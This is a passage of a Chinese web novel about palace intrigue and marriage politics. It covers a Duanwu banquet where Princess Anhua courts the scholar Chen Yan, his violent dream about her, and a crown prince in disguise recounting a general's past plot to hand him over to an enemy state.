郑茜静也算是听明白了,惊讶问道:“三哥想让你嫁给六殿下?” “是。” “不好吧?”郑茜静皱起眉头,“皇室规矩太多了,不适合你。” “我不会嫁的,我不会让别人摆布我。” 郑茜静用力点了点头:“我希望你能一直这么随心所欲。” 她已经被圣旨赐婚给了一个不喜欢的人,她不希望叶绯霜也这样。 唉,到底什么时候,女子才可以做主自己的人生呢? 宁寒青回到自己下榻的院落,桌面上已经放了一封密信。 打开一看,信上写的是最近京中的动向。 宁寒青看完,轻哂:“太子皇兄已经在拉拢陈宴了,动作倒是快。” 身边的内官急忙道:“陈家势大,可万万不能让他们倒向太子那边啊。” “这就要看安华的本事了。”宁寒青把密信在烛上烧了,“不知我这妹妹,能否为我争到一个好妹婿。” 他啧啧嘴,想得挺美:“若她能嫁了陈宴,我娶了郑氏女,郑家和陈家都成了我的后盾,我还愁赢不了?” 第240章 安华公主 五月端午,是一个盛大的节日。 宫里民间都很热闹。 陈宴晨起,就看见门上挂了艾草,桌上也摆了雄黄酒和菖蒲酒。 青岳正和其他几名侍卫在院中斗百草。青岳找了根很有韧性的草茎,目前处于大获全胜的状态。 见陈宴推门出来,青岳立刻收了玩心迎上来:“公子,现在进宫吗?” “嗯。” 宫里今日开宴,此外还有射柳、打马球等活动,暻顺帝特旨让新科进士伴驾。 大昭以素色为尊,陈宴被授予了从五品的翰林院侍读,官服是缥色。 换好官服束好发,陈宴进了宫。 在宫门口遇见了邱捷。邱捷点了从六品的翰林院修撰,穿了身远山紫的官服,整个人显得清俊挺拔,很有气质。 “没想到陈公子也会留在翰林院。”邱捷说,“我以为你会直接进六部。” 陈宴道:“我已经和圣上请旨,下个月就回怀瑜书院讲学。” 邱捷更意外了:“你……” 他稍微一想就明白了,压低声音:“莫非你想改学制?” “虚谈废务,浮文妨要。学制不改,何以改吏治?” 邱捷点头:“是该改了。” 其实他们饱读圣贤书、心怀天下事的人,无一不想改变现状,无一不想给大昭注入新鲜血液,无一不想让大昭国富民强。 只是并非每个人都可以做到,要天时地利人和。 不光要有这颗心,还得有能力、有倚仗、有后盾。 陈宴的确很适合做这个操刀人。 路上遇见许多官员,作为新科状元和榜眼,炙手可热,来找他们攀谈的人也越来越多。 二人得体应对,既不疏离又不过于热络。 宫宴开在长乐宫。宫内锦帐华裀,灯火辉煌,往来宫人穿梭,如瑶池仙境。 帝后驾临,众人见礼。暻顺帝笑呵呵地让大家开怀畅饮,不拘礼数。 酒过三巡,大家都有些飘飘然。于是不再谈公事政务,说起些轻松的逸事来。 邱捷被敬了不少酒,脸颊有些红,凑过来问陈宴:“你可要尚安华公主?” 陈宴这些日子也听说了民间是怎么传自己的,陈夫人还特意问了他。 其实哪有什么榜下捉婿,无非是安华公主的宫人想请他去和公主见个面,他都没应,还是被传成了艳闻逸事。 “没这打算。”陈宴说。 “若是皇上降旨赐婚怎么办?”邱捷示意暻顺帝身边一位宫装丽人,“那位淑妃娘娘很得盛宠,定会替女儿筹谋。” 话音刚落,周遭忽然寂静下来,而后,一道曼妙的琴音响起。 众人循声望去,只见玉阶上方右侧秀幕层叠,隐约可见帐幕后有一女子倩影,正在信手抚琴。 琴音袅袅,余音绕梁,令人如痴如醉。 底下有人小声议论:“如此悦耳的琴音,该是安华公主吧?” “看淑妃娘娘的神色,定然是了。” “哈哈,咱们也算是有幸,还能让堂堂公主殿下来抚琴助兴。” “得了吧,你以为殿下的琴是弹给你听的?” 众位官员嬉笑着,看向陈宴。 见他支颐闲坐,似是已经沉醉于这优美的琴声中。 一曲毕,殿中静了几息,才响起赞叹声。 帐后人起身,走到暻顺帝和淑妃身边,不知说了什么,淑妃笑着点了点她的鼻子。 而后帐幕掀开,安华公主走了出来。 她穿着繁盛的宫装,容仪如玉,明净秀丽,带着天家贵女的华美骄矜。 众目睽睽之下,她走到陈宴案前,停住。 身后的宫女立刻奉上杯盏,倒入清酒,安华望着陈宴,笑问:“安华可否敬陈大人一杯酒?” 陈宴起身,接过宫女手中的酒杯。 安华柔声道:“恭祝陈大人蟾宫折桂,盼大人往后仕途坦荡,步步高升。” “多谢殿下。”陈宴说罢,饮尽杯中酒。 殿中众人看着这一幕,只觉郎才女貌,天作之合。 他们听不到陈宴和安华在说什么,却见安华猛地红了脸,似是不胜娇羞。 众人心中暗叹,有人想这位陈状元也不是看起来那么正人君子嘛,三言两语就撩得人家小公主满面红霞。 也有人暗暗羡慕,只恨自己没有这样一副好皮囊,无法俘获公主芳心。 陈宴唇角微勾,不知又和安华说了句什么,安华的脸更红了,立刻提着裙子,跑回淑妃身边。 气氛到了,又是佳节,众人以为皇上定要当殿赐婚,不曾想暻顺帝只是下令前往御苑,半句没提赐婚的事。 一直到宴饮结束,暻顺帝也没提赐婚。 这下大家都有些摸不着头脑了。 邱捷觉得奇怪,不禁问陈宴:“你刚才和安华公主说了什么?” 陈宴如实相告:“她问我她的琴弹得怎么样,我说很一般,她就脸红了。” 邱捷:“……” “她又问我可否请圣上赐婚,我说你不怕被拒婚就试试,她的脸就更红了。” 邱捷无语:“你就不怕殿下恼了?” 陈宴眨了眨眼:“她恼不恼,与我何干?” “万一殿下真请圣上赐婚了,你还真要当殿拒婚?” “我都那么说了,她是个聪明人就不会请的。”陈宴慢条斯理地说,“万一我真拒婚,她颜面尽失,两败俱伤的结果,没必要。” 邱捷摇头:“只怕安华公主是真盯上你了,不会这么轻易算了。” 陈宴没有应声,不知想到了什么,皱了下眉头。 他预感今晚可能会梦到安华。 果不其然。 梦里的场景是陈府的花园,安华也在弹琴。 一曲毕,她同样来找他,问他弹得怎么样。 他说:“殿下琴艺高绝,引人入胜。” 安华笑靥如花:“大人喜欢就好。” 陈宴盯着安华,别有深意地说:“其实我还有更喜欢的。” 安华粉面含羞:“什么?” 陈宴握住了安华的手,轻轻抚了抚她的手背,说:“殿下这双手,我就很喜欢。” 安华羞涩不能自已,靠进他怀里,吐气如兰:“等父皇为你我赐婚,我整个人都是你的。” 陈宴道:“可我只喜欢殿下的手。” 安华嗔他:“我怎么把手单独送你?” “怎么不能呢?”陈宴一本正经,“剁下来就可以了啊。” 安华盯着他,笑意渐失,一张脸逐渐变得惨白。 她要走,却被陈宴握住了手,走不了。 她开始尖叫、挣扎,然后被陈宴的几名近侍拖走了。 陈宴靠在椅中,闲散地自斟自饮。 没多久,锦风端来一个托盘,上边放着一双血淋淋的手。 陈宴眼也不抬:“放出消息,安华公主去怀安寺礼佛的路上遭遇流匪,下落不明。刑部会严查此事,请圣上和淑妃娘娘节哀。” 锦风应是,又问:“那这双手……” 陈宴起身,拂袖离开,轻飘飘地留下句:“拿去喂狗。” 第241章 一桩往事 “你到底怎么了?你怎么跑去给人当侍卫了?”燕颂看着懒懒散散靠在榻上的人,问。 萧序眼也不睁:“吵。” “你这到底是什么玩法?那个小姑娘就是你阿姐?” 萧序不答反问:“广川府贪墨案办完了?” “办完了,涉案官员已全部定罪,文老太傅于狱中自戕了。” 说起正事,燕颂神情凝重:“兄长,文老太傅毕竟曾经是您的授课恩师,朝中对此多有不满之声。只怕你日后回朝,会遭刁难。” 萧序轻哂:“我一介闲人,刁难我做什么?” “现在的朝政我帮兄长理,日后,皇位大统,还是要还于兄长的。” 萧序这下是真的笑出声了:“我要皇位做什么?” “兄长……” 萧序懒懒地拍了拍燕颂的肩膀:“你胸怀大志,比我适合做帝王。也正因如此,父皇母后才会同意你我二人交换身份。吾弟乃圣主明君之材,可成千秋大业。” 燕颂忧心忡忡地叹了口气。 其实,兄长本来不是这样的。 兄长是大晟帝后唯一的儿子,是不可争议的储君。而燕颂是定王世子,和萧序是堂兄弟的关系。 二人同岁,只差了五个月。 十八年前,大昭和大晟于云城开战,定王战死于沙场。定王妃伤心欲绝,早产生下燕颂后,亦撒手人寰。 于是燕颂出生后便被帝后接到了宫里,亲自抚养。 所以萧序和燕颂是一起长大的,形如亲兄弟。 萧序自小身体不好,看遍名医也无用。燕颂便努力学习经世治国之道,将来好为兄长分忧。 变故发生在四年前,他们十四岁时。 兄长重病了一场,康复后,就不想当这大晟储君了。 他非要和燕颂交换身份,让燕颂做太子,他去做定王世子,这样他就可以不被困于朝堂之上了。 帝后极宠萧序,连这么荒唐的提议都同意了。燕颂就莫名其妙地被推上了太子之位,而兄长拎着他的刀,给自己取了“萧序”这么个化名,闪人了。 燕颂记得,小时候和兄长一起上课时,兄长是很认真的。虽然他体弱,但是文治武功一样都没落下,时刻记得自己是大晟储君,肩负大晟江山黎民。 不知道那场病后,他发了什么邪性,就不要江山要江湖了。 他若是在大晟境内游山玩水也就罢了,他还偏跑到大昭来。 来就算了,还给人当护卫了。 从一国储君到护卫,你这…… 燕颂不知道说他什么好。 此时,门外响起通报声:“二位殿下,原将军来了。” 燕颂立刻看向萧序,果然,萧序的脸更冷了。 片刻,他道:“让他进来。” 进来一位五十多岁的魁梧男人,面带喜色,对萧序行大礼:“悬光殿下。” 萧序不咸不淡地说:“原将军此次负责使团的安危,真是辛苦了。等回朝后,父皇必有重赏。” 原久毕恭毕敬地说:“这是微臣之责,不敢邀功。” 萧序不是很想看向他的模样,摆摆手:“行了,既然见过我,将军可安心了。去歇息吧,别扰了我们兄弟说话。” 原久嗫喏着嘴唇,还想和萧序说什么,但最后只恭敬吐出一个“是”字。 高高兴兴地进来,无奈失落地出去,脊背都佝偻了。 燕颂看着不忍,轻声问:“自打四年前,兄长对原将军的态度就变了,这是为何呢?原将军是你我的开蒙武师,这些年对你我二人一向尽心尽力,对大晟亦是忠心耿耿。” 萧序闻言,发出一声不屑的嗤笑。 “忠心?你猜他的忠心是真的出于本心,还是出于愧疚?” 燕颂不解:“有何愧疚?” 萧序阖目,敛去眼中的森然冷意:“十八年前,也就是你我出生那年,大晟和大昭开战,你可记得?” 燕颂面露伤感:“我自然记得。” 他生父定王就是死在那场大战中的啊。 “那场大战,定王叔挂帅,原久被封为副将。双方鏖战数月,定王叔拼死杀敌,你猜那时这位原将军在盘算什么?他在想如若战败,他便降了大昭。” 燕颂惊愕:“怎么会?” 萧序继续道:“投敌自然要有诚意,你可知这位原将军当时准备拿什么去献敌?” 在燕颂震惊的目光中,萧序一字一顿:“刚出生四月的大晟太子,我。” 这么一道陈年往事,直接把燕颂给雷了个外焦里嫩。 他老半天才找回自己的声音:“竟……竟有此事?” 萧序语调冷漠,像是在讲别人的故事:“原久的妹妹是母后身边最得用的女官,当时就由她和原家人里应外合,将我送出了皇城。若非我师父逸真大师及时阻拦,你现在哪里还有什么兄长。” 燕颂神情愈发凝肃了:“既、既然如此,皇伯为何还要留着原家人?” “一是因为我到底没出事,而且原家人的确得用。事后原久痛哭流涕地表示自己知错了,指天誓日地说以后定忠于大晟。且他在云城之战中到底立了功,父皇便留了他一命。” 他顿了一下,才继续说:“二是因为,父皇想把这人留给我。由我来决定是否让他做新帝登基后杀鸡儆猴的那只鸡。三品大将军,的确适合作为新帝震慑朝堂的工具。” 燕颂喃喃:“竟还有这么一段往事……原久竟然还有过这样的祸心,实在可恶。” 又不禁对萧序抱怨:“这么大的事,兄长怎么今日才告诉我?我俩穿一条裤子长大,你就在心里憋了这么久?” 萧序哼笑:“也没有很久。” 他也是四年前才想起来的,而且后边又忘得差不多了。 他昨晚特意看了自己在纸上写下的记忆,才又想起这么一档子事。 “兄长可恨原久狗贼?”燕颂低声道,“弟弟可以想法子除了他。” “恨?有些吧。你不知道他若把我送到大昭,我会遭遇什么。” 燕颂光是一想就心惊。 当时的大昭和大晟可不像如今这般和平共处,那可是切切实实的敌国。 一国太子被送去敌国……能有好日子才怪了。 “但是吧……” 若非如此,他也遇不到阿姐。 其实也没有多恨。因为遇见了阿姐,其它的所有苦难就都不值一提了。 “那你说的阿姐又是怎么回事?” “嗯?阿姐就是阿姐啊。”萧序笑起来,眸光潋滟,“是我心里最重要的人,比江山都要重要的人。”